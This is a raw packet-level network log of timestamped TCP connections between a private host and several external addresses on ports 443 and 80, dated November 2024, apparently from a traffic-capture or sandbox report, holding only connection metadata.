Nov 20, 2024 00:19:26.397454977 CET	62107	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:26.397484064 CET	443	62107	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:26.512455940 CET	443	62093	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.512466908 CET	443	62093	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.512525082 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.512545109 CET	443	62093	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.512811899 CET	443	62093	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.512866974 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.520921946 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.520961046 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.521109104 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.521408081 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.521419048 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.524218082 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.524231911 CET	443	62093	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.524241924 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.524277925 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.534400940 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.534946918 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.534960985 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.535329103 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.535835028 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.535835028 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.535902977 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.553869963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553885937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553899050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553910971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553927898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553940058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553966999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553977013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.553986073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.553999901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554011106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554020882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554022074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554032087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554040909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554061890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554076910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554171085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554183960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554194927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554222107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554246902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554403067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554414988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554425955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554452896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554472923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554490089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554501057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554514885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554526091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554553032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554735899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554748058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554759026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554769993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554780960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554785967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554794073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554805040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554830074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554898977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554910898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.554934978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.554972887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555140018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555151939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555164099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555201054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555221081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555296898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555332899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555350065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555366039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555401087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555428982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555676937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555692911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555708885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555725098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555732012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555747032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555752039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555763006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555779934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555778980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555805922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555840015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.555934906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555951118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555964947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555974007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.555988073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556008101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556034088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556037903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556062937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556076050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556087017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556107998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556123018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556128979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556138992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556154013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556154966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556170940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556171894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556189060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556202888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556205034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556221008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556227922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556236029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556253910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556262016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556277037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556284904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556294918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556308031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556309938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556324005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556334972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556350946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556365967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556372881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556372881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556372881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556380987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556385994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556396008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556416035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556463957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556463957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556663036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556678057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556694984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556720018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556720018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556735992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556742907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556751966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556766987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556770086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556781054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556792974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556794882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556807995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556814909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556823969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556839943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556855917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.556865931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.556891918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558038950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558063030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558079958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558094978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558116913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558120012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558120012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558142900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558157921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558162928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558171988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558173895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558190107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558192015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558204889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558204889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558222055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558223963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558239937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558249950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558254957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558271885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558279991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558285952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558307886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558314085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558325052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558325052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558352947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558376074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558487892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558504105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558517933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558538914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558561087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558576107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558587074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558594942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558609009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558624029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558633089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558633089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558639050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558655024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558664083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558670998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558671951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558691978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558701992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558727026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558728933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558741093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558743954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558760881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558773041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558778048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558782101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558795929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558799028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558809996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558816910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558834076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558850050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558912992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.558953047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.558990002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.559011936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.559031963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.559045076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.559062004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.559076071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.559101105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.559113979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.613946915 CET	443	62097	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.614041090 CET	443	62097	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.614121914 CET	62097	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.614778042 CET	62097	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.614794970 CET	443	62097	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.614806890 CET	62097	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.615021944 CET	62097	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.642993927 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.643079042 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.643096924 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.643425941 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.643482924 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.644038916 CET	443	62096	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.644124985 CET	443	62096	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.644263029 CET	62096	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.644872904 CET	62096	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:26.644891024 CET	443	62096	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:26.645998001 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.645998001 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.646014929 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:26.646115065 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:26.647419930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647449970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647507906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647509098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647532940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647547960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647564888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647581100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647588015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647599936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647624016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647644043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647671938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647782087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647797108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647824049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647824049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647840023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647856951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647866011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647875071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647891045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.647897959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647917032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.647936106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648216963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648231983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648257017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648261070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648276091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648281097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648297071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648298025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648313046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648320913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648330927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648339033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648344040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648358107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648387909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648387909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648756027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648772001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648787022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648801088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648813009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648843050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648848057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648869038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648883104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648885012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648900986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648905039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648917913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.648921013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648937941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.648955107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.649413109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.649429083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.649451971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.649463892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.649465084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.649482012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.649501085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.686716080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.686748981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.686770916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.686785936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.686793089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.686804056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.686815977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.686824083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.686863899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.686877966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.687032938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687050104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687066078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687078953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.687091112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.687114000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.687114954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687130928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687146902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687165976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687171936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.687200069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.687223911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:26.687230110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:26.687258005 CET	80	49762	185.215.113.206	192.168.2.5
